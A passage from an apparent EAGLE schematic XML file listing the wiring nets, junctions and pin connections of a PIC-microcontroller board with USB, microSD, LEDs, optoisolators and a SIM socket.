pin=\"1\"/>\n<pinref part=\"U1\" gate=\"A\" pin=\"VDD\"/>\n<wire x1=\"177.8\" y1=\"-93.98\" x2=\"127\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"127\" y1=\"-93.98\" x2=\"119.38\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"177.8\" y1=\"-106.68\" x2=\"177.8\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"177.8\" y1=\"-93.98\" x2=\"195.58\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"195.58\" y1=\"-93.98\" x2=\"218.44\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"218.44\" y1=\"-93.98\" x2=\"218.44\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U1\" gate=\"A\" pin=\"P0A\"/>\n<wire x1=\"213.36\" y1=\"-106.68\" x2=\"218.44\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"218.44\" y1=\"-106.68\" x2=\"218.44\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U1\" gate=\"A\" pin=\"P1A\"/>\n<wire x1=\"218.44\" y1=\"-116.84\" x2=\"213.36\" y2=\"-116.84\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"177.8\" y=\"-106.68\"/>\n<junction x=\"213.36\" y=\"-106.68\"/>\n<junction x=\"218.44\" y=\"-106.68\"/>\n<junction x=\"213.36\" y=\"-116.84\"/>\n<pinref part=\"R4\" gate=\"G$1\" pin=\"E\"/>\n<wire x1=\"119.38\" y1=\"-93.98\" x2=\"119.38\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"119.38\" y=\"-109.22\"/>\n<pinref part=\"R11\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"236.22\" y=\"-96.52\"/>\n<pinref part=\"R3\" gate=\"G$1\" pin=\"E\"/>\n<junction x=\"236.22\" y=\"-96.52\"/>\n<wire x1=\"218.44\" y1=\"-93.98\" x2=\"228.6\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"228.6\" y1=\"-93.98\" x2=\"236.22\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"228.6\" y1=\"-111.76\" x2=\"228.6\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"236.22\" y1=\"-96.52\" x2=\"236.22\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"228.6\" y=\"-93.98\"/>\n<junction x=\"228.6\" y=\"-111.76\"/>\n<junction x=\"177.8\" y=\"-93.98\"/>\n<junction x=\"218.44\" y=\"-93.98\"/>\n<junction x=\"127\" y=\"-93.98\"/>\n<junction x=\"127\" y=\"-93.98\"/>\n<pinref part=\"5V\" gate=\"1\" pin=\"+5V\"/>\n<junction x=\"195.58\" y=\"-93.98\"/>\n</segment>\n</net>\n<net name=\"N$105\" class=\"0\">\n<segment>\n<wire x1=\"-152.4\" y1=\"99.06\" x2=\"-144.78\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R28\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"LED8\" gate=\"G$1\" pin=\"A\"/>\n<junction x=\"-152.4\" y=\"99.06\"/>\n<junction x=\"-144.78\" y=\"99.06\"/>\n</segment>\n</net>\n<net name=\"N$106\" class=\"0\">\n<segment>\n<wire x1=\"-144.78\" y1=\"86.36\" x2=\"-152.4\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"LED7\" gate=\"G$1\" pin=\"A\"/>\n<pinref part=\"R27\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-152.4\" y=\"86.36\"/>\n<junction x=\"-144.78\" y=\"86.36\"/>\n</segment>\n</net>\n<net name=\"N$107\" class=\"0\">\n<segment>\n<wire x1=\"-152.4\" y1=\"60.96\" x2=\"-144.78\" y2=\"60.96\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"LED5\" gate=\"G$1\" pin=\"A\"/>\n<pinref part=\"R24\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-144.78\" y=\"60.96\"/>\n</segment>\n</net>\n<net name=\"N$108\" class=\"0\">\n<segment>\n<wire x1=\"-144.78\" y1=\"73.66\" x2=\"-152.4\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"LED6\" gate=\"G$1\" pin=\"A\"/>\n<pinref part=\"R25\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-152.4\" y=\"73.66\"/>\n<junction x=\"-144.78\" y=\"73.66\"/>\n</segment>\n</net>\n<net name=\"DEBUG_3\" class=\"0\">\n<segment>\n<wire x1=\"326.644\" y1=\"124.714\" x2=\"329.692\" y2=\"124.714\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"124.968\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"1\"/>\n<wire x1=\"329.692\" y1=\"124.714\" x2=\"319.024\" y2=\"124.714\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"124.714\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"T4CK/AC2RX/RC3\"/>\n<junction x=\"-43.18\" y=\"45.72\"/>\n<label x=\"-63.5\" y=\"45.72\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"-43.18\" y1=\"45.72\" x2=\"-81.28\" y2=\"45.72\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"TP37\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"-81.28\" y=\"45.72\"/>\n<wire x1=\"-81.28\" y1=\"45.72\" x2=\"-78.74\" y2=\"45.72\" width=\"0.1524\" layer=\"91\"/>\n</segment>\n</net>\n<net name=\"N$27\" class=\"0\">\n<segment>\n<wire x1=\"-157.48\" y1=\"10.16\" x2=\"-144.78\" y2=\"10.16\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R19\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"LED1\" gate=\"G$1\" pin=\"A\"/>\n<junction x=\"-157.48\" y=\"10.16\"/>\n<junction x=\"-144.78\" y=\"10.16\"/>\n</segment>\n</net>\n<net name=\"N$14\" class=\"0\">\n<segment>\n<wire x1=\"-144.78\" y1=\"48.26\" x2=\"-152.4\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"LED4\" gate=\"G$1\" pin=\"A\"/>\n<pinref part=\"R22\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-152.4\" y=\"48.26\"/>\n<junction x=\"-144.78\" y=\"48.26\"/>\n</segment>\n</net>\n<net name=\"USB_D+\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"D+/RG2\"/>\n<wire x1=\"124.46\" y1=\"157.48\" x2=\"134.62\" y2=\"157.48\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"157.48\"/>\n<label x=\"137.16\" y=\"157.48\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"236.22\" y1=\"223.52\" x2=\"220.98\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"208.28\" y=\"223.52\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"TP31\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"220.98\" y1=\"223.52\" x2=\"223.52\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"220.98\" y=\"223.52\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"$D+\"/>\n</segment>\n</net>\n<net name=\"USB_D-\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"D-/RG3\"/>\n<wire x1=\"124.46\" y1=\"160.02\" x2=\"134.62\" y2=\"160.02\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"160.02\"/>\n<label x=\"137.16\" y=\"160.02\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"236.22\" y1=\"226.06\" x2=\"230.632\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"208.28\" y=\"226.06\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"TP30\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"230.632\" y1=\"226.06\" x2=\"223.52\" y2=\"226.06\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"230.632\" y=\"226.06\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"$D-\"/>\n</segment>\n</net>\n<net name=\"PGD2\" class=\"0\">\n<segment>\n<wire x1=\"269.24\" y1=\"149.86\" x2=\"259.08\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"266.7\" y=\"150.114\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"4\"/>\n<pinref part=\"TP16\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"269.24\" y1=\"149.86\" x2=\"289.56\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"269.24\" y=\"149.86\"/>\n<junction x=\"289.56\" y=\"149.86\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PGED2/AN7/RB7\"/>\n<wire x1=\"-43.18\" y1=\"78.74\" x2=\"-50.8\" y2=\"78.74\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"78.74\"/>\n<label x=\"-58.42\" y=\"78.74\" size=\"1.778\" layer=\"95\"/>\n</segment>\n</net>\n<net name=\"PGC2\" class=\"0\">\n<segment>\n<wire x1=\"269.24\" y1=\"152.4\" x2=\"259.08\" y2=\"152.4\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"266.7\" y=\"152.654\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"5\"/>\n<pinref part=\"TP17\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"269.24\" y1=\"152.4\" x2=\"289.56\" y2=\"152.4\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"269.24\" y=\"152.4\"/>\n<junction x=\"289.56\" y=\"152.4\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"PGEC2/AN6/OCFA/RB6\"/>\n<wire x1=\"-43.18\" y1=\"81.28\" x2=\"-50.8\" y2=\"81.28\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"81.28\"/>\n<label x=\"-58.42\" y=\"81.28\" size=\"1.778\" layer=\"95\"/>\n</segment>\n</net>\n<net name=\"CLOCK\" class=\"0\">\n<segment>\n<pinref part=\"U5\" gate=\"A\" pin=\"1Y\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"2Y\"/>\n<wire x1=\"-83.82\" y1=\"-58.42\" x2=\"-86.36\" y2=\"-58.42\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"-58.42\" x2=\"-86.36\" y2=\"-60.96\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"3Y\"/>\n<wire x1=\"-83.82\" y1=\"-60.96\" x2=\"-86.36\" y2=\"-60.96\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"-60.96\" x2=\"-86.36\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U5\" gate=\"A\" pin=\"4Y\"/>\n<wire x1=\"-83.82\" y1=\"-66.04\" x2=\"-86.36\" y2=\"-66.04\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"-66.04\" x2=\"-86.36\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP11\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-83.82\" y1=\"-63.5\" x2=\"-86.36\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"30.48\" y1=\"-45.72\" x2=\"20.32\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-116.84\" y1=\"-73.66\" x2=\"-109.22\" y2=\"-73.66\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-109.22\" y1=\"-73.66\" x2=\"-109.22\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"-58.42\" x2=\"-86.36\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-86.36\" y1=\"-63.5\" x2=\"-109.22\" y2=\"-63.5\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-109.22\" y1=\"-63.5\" x2=\"-109.22\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"D1\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"20.32\" y1=\"-45.72\" x2=\"-109.22\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-109.22\" y1=\"-73.66\" x2=\"-109.22\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-83.82\" y=\"-58.42\"/>\n<junction x=\"-83.82\" y=\"-60.96\"/>\n<junction x=\"-83.82\" y=\"-63.5\"/>\n<junction x=\"-83.82\" y=\"-66.04\"/>\n<junction x=\"-86.36\" y=\"-63.5\"/>\n<junction x=\"-86.36\" y=\"-60.96\"/>\n<junction x=\"-116.84\" y=\"-73.66\"/>\n<junction x=\"-109.22\" y=\"-93.98\"/>\n<pinref part=\"C12\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"30.48\" y=\"-45.72\"/>\n<junction x=\"20.32\" y=\"-45.72\"/>\n<pinref part=\"TP12\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"20.32\" y=\"-45.72\"/>\n<junction x=\"-86.36\" y=\"-63.5\"/>\n<junction x=\"-109.22\" y=\"-73.66\"/>\n<junction x=\"-86.36\" y=\"-58.42\"/>\n<junction x=\"-109.22\" y=\"-63.5\"/>\n</segment>\n</net>\n<net name=\"N$17\" class=\"0\">\n<segment>\n<pinref part=\"LED3\" gate=\"G$1\" pin=\"A\"/>\n<pinref part=\"R21\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"-152.4\" y1=\"35.56\" x2=\"-144.78\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-144.78\" y=\"35.56\"/>\n<junction x=\"-152.4\" y=\"35.56\"/>\n</segment>\n</net>\n<net name=\"PIC_SDI1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"T5CK/SDI1/RC4\"/>\n<wire x1=\"-43.18\" y1=\"43.18\" x2=\"-50.8\" y2=\"43.18\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-63.5\" y=\"43.18\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-43.18\" y=\"43.18\"/>\n</segment>\n<segment>\n<wire x1=\"274.32\" y1=\"124.46\" x2=\"259.08\" y2=\"124.46\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"246.38\" y=\"124.46\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"1\"/>\n<junction x=\"274.32\" y=\"124.46\"/>\n</segment>\n<segment>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"7_DO\"/>\n<wire x1=\"337.82\" y1=\"220.98\" x2=\"314.96\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"279.4\" y=\"220.218\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"337.82\" y=\"220.98\"/>\n<pinref part=\"R35\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"314.96\" y1=\"220.98\" x2=\"299.72\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"299.72\" y1=\"220.98\" x2=\"292.1\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"314.96\" y1=\"241.3\" x2=\"314.96\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"314.96\" y=\"220.98\"/>\n<junction x=\"314.96\" y=\"241.3\"/>\n<pinref part=\"TP27\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"299.72\" y=\"220.98\"/>\n</segment>\n</net>\n<net name=\"RD14\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AETXD0/!SS1A!/U1BRX/!U1ACTS!/CN20/RD14\"/>\n<wire x1=\"124.46\" y1=\"68.58\" x2=\"134.62\" y2=\"68.58\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"137.16\" y=\"68.58\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"124.46\" y=\"68.58\"/>\n</segment>\n<segment>\n<wire x1=\"274.32\" y1=\"60.96\" x2=\"259.08\" y2=\"60.96\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"60.96\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"26\"/>\n<junction x=\"274.32\" y=\"60.96\"/>\n</segment>\n</net>\n<net name=\"!POT_SHUTDOWN\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AETXD1/SCK1A/U1BTX/!U1ARTS!/CN21/RD15\"/>\n<wire x1=\"124.46\" y1=\"66.04\" x2=\"134.62\" y2=\"66.04\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"137.16\" y=\"66.04\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"124.46\" y=\"66.04\"/>\n</segment>\n<segment>\n<wire x1=\"274.32\" y1=\"58.42\" x2=\"259.08\" y2=\"58.42\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"238.76\" y=\"58.42\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"27\"/>\n<junction x=\"274.32\" y=\"58.42\"/>\n</segment>\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"!SHDN\"/>\n<wire x1=\"177.8\" y1=\"-119.38\" x2=\"175.26\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"149.86\" y=\"-119.38\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"177.8\" y=\"-119.38\"/>\n</segment>\n</net>\n<net name=\"SIM_VPP(UNUSED)\" class=\"0\">\n<segment>\n<pinref part=\"U7\" gate=\"G$1\" pin=\"VPP_SIM_PIN_6\"/>\n<wire x1=\"472.44\" y1=\"104.14\" x2=\"502.92\" y2=\"104.14\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"474.98\" y=\"104.648\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"SIMVPP\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"472.44\" y=\"104.14\"/>\n<junction x=\"502.92\" y=\"104.14\"/>\n</segment>\n</net>\n<net name=\"POWER_IN_5V0\" class=\"0\">\n<segment>\n<pinref part=\"F1\" gate=\"G$1\" pin=\"2\"/>\n<junction x=\"205.74\" y=\"231.14\"/>\n<label x=\"207.772\" y=\"231.902\" size=\"1.778\" layer=\"95\"/>\n<wire x1=\"236.22\" y1=\"228.6\" x2=\"233.68\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"233.68\" y1=\"228.6\" x2=\"233.68\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"233.68\" y1=\"231.14\" x2=\"205.74\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"$VBUS\"/>\n</segment>\n<segment>\n<pinref part=\"JP18\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"154.94\" y1=\"233.68\" x2=\"160.02\" y2=\"233.68\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"162.56\" y=\"233.68\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"154.94\" y=\"233.68\"/>\n<pinref part=\"TP19\" gate=\"G$1\" pin=\"TP\"/>\n</segment>\n</net>\n<net name=\"PIC_SDO1\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"SDO1/OC1/INT0/RD0\"/>\n<wire x1=\"124.46\" y1=\"104.14\" x2=\"134.62\" y2=\"104.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"104.14\"/>\n<label x=\"137.16\" y=\"104.14\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"43.434\" x2=\"329.692\" y2=\"43.434\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"43.688\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"33\"/>\n<wire x1=\"329.692\" y1=\"43.434\" x2=\"319.024\" y2=\"43.434\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"43.434\"/>\n</segment>\n<segment>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"3_DI\"/>\n<wire x1=\"337.82\" y1=\"231.14\" x2=\"304.8\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"279.4\" y=\"230.378\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"337.82\" y=\"231.14\"/>\n<pinref part=\"R34\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"304.8\" y1=\"231.14\" x2=\"299.72\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"299.72\" y1=\"231.14\" x2=\"292.1\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"304.8\" y1=\"241.3\" x2=\"304.8\" y2=\"231.14\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"304.8\" y=\"231.14\"/>\n<junction x=\"304.8\" y=\"241.3\"/>\n<pinref part=\"TP25\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"299.72\" y=\"231.14\"/>\n</segment>\n</net>\n<net name=\"SD_CARD_DETECT\" class=\"0\">\n<segment>\n<pinref part=\"R36\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"325.12\" y1=\"241.3\" x2=\"325.12\" y2=\"203.2\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"SWITCH_A\"/>\n<wire x1=\"337.82\" y1=\"203.2\" x2=\"325.12\" y2=\"203.2\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"337.82\" y=\"203.2\"/>\n<junction x=\"325.12\" y=\"203.2\"/>\n<wire x1=\"325.12\" y1=\"203.2\" x2=\"299.72\" y2=\"203.2\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"325.12\" y=\"241.3\"/>\n<label x=\"271.78\" y=\"203.2\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"TP28\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"299.72\" y1=\"203.2\" x2=\"292.1\" y2=\"203.2\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"299.72\" y=\"203.2\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"C1RX/ETXD1/PMD11/RF0\"/>\n<wire x1=\"124.46\" y1=\"60.96\" x2=\"134.62\" y2=\"60.96\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"60.96\"/>\n<label x=\"137.16\" y=\"60.96\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"73.914\" x2=\"329.692\" y2=\"73.914\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"74.168\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"21\"/>\n<wire x1=\"329.692\" y1=\"73.914\" x2=\"319.024\" y2=\"73.914\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"73.914\"/>\n</segment>\n</net>\n<net name=\"N$10\" class=\"0\">\n<segment>\n<pinref part=\"Q1\" gate=\"G$1\" pin=\"B\"/>\n<pinref part=\"R2\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"-48.26\" y=\"-132.08\"/>\n</segment>\n</net>\n<net name=\"N$19\" class=\"0\">\n<segment>\n<pinref part=\"Q1\" gate=\"G$1\" pin=\"C\"/>\n<wire x1=\"-53.34\" y1=\"-116.84\" x2=\"-53.34\" y2=\"-127\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"OPTO_MOS1\" gate=\"G$1\" pin=\"COM\"/>\n<junction x=\"-53.34\" y=\"-127\"/>\n<junction x=\"-53.34\" y=\"-116.84\"/>\n</segment>\n</net>\n<net name=\"LC_CAL\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN5/C1IN+/VBUSON/CN7/RB5\"/>\n<wire x1=\"-43.18\" y1=\"83.82\" x2=\"-50.8\" y2=\"83.82\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"83.82\"/>\n<label x=\"-58.42\" y=\"83.82\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"101.6\" x2=\"274.32\" y2=\"101.6\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"101.854\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"10\"/>\n<junction x=\"274.32\" y=\"101.6\"/>\n</segment>\n<segment>\n<pinref part=\"R42\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"43.18\" y1=\"-165.1\" x2=\"43.18\" y2=\"-160.02\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"43.18\" y1=\"-160.02\" x2=\"45.72\" y2=\"-160.02\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"53.34\" y=\"-160.02\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<pinref part=\"TP11\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"43.18\" y=\"-160.02\"/>\n<junction x=\"43.18\" y=\"-165.1\"/>\n</segment>\n</net>\n<net name=\"N$26\" class=\"0\">\n<segment>\n<pinref part=\"C12\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"38.1\" y=\"-45.72\"/>\n<pinref part=\"R18\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"50.8\" y1=\"-45.72\" x2=\"38.1\" y2=\"-45.72\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"50.8\" y=\"-45.72\"/>\n</segment>\n</net>\n<net name=\"N$24\" class=\"0\">\n<segment>\n<pinref part=\"R6\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"OPTO_MOS1\" gate=\"G$1\" pin=\"A\"/>\n<wire x1=\"-38.1\" y1=\"-111.76\" x2=\"-43.18\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"-111.76\"/>\n<junction x=\"-38.1\" y=\"-111.76\"/>\n</segment>\n</net>\n<net name=\"N$28\" class=\"0\">\n<segment>\n<wire x1=\"-152.4\" y1=\"22.86\" x2=\"-144.78\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R20\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"LED2\" gate=\"G$1\" pin=\"A\"/>\n<junction x=\"-152.4\" y=\"22.86\"/>\n<junction x=\"-144.78\" y=\"22.86\"/>\n</segment>\n</net>\n<net name=\"ERROR_LED_RED\" class=\"0\">\n<segment>\n<wire x1=\"-137.16\" y1=\"22.86\" x2=\"-127\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"-104.14\" y=\"23.368\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"LED2\" gate=\"G$1\" pin=\"C\"/>\n<junction x=\"-137.16\" y=\"22.86\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"EMDC/IC4/PMCS1/PMA14/RD11\"/>\n<wire x1=\"124.46\" y1=\"76.2\" x2=\"134.62\" y2=\"76.2\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"76.2\"/>\n<label x=\"137.16\" y=\"76.2\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"326.644\" y1=\"40.894\" x2=\"329.692\" y2=\"40.894\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"316.484\" y=\"41.148\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"34\"/>\n<wire x1=\"329.692\" y1=\"40.894\" x2=\"319.024\" y2=\"40.894\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"40.894\"/>\n</segment>\n</net>\n<net name=\"N$29\" class=\"0\">\n<segment>\n<pinref part=\"R32\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"OPTO_MOS2\" gate=\"G$1\" pin=\"A\"/>\n<wire x1=\"-116.84\" y1=\"220.98\" x2=\"-124.46\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-124.46\" y=\"220.98\"/>\n<junction x=\"-116.84\" y=\"220.98\"/>\n<pinref part=\"TP42\" gate=\"G$1\" 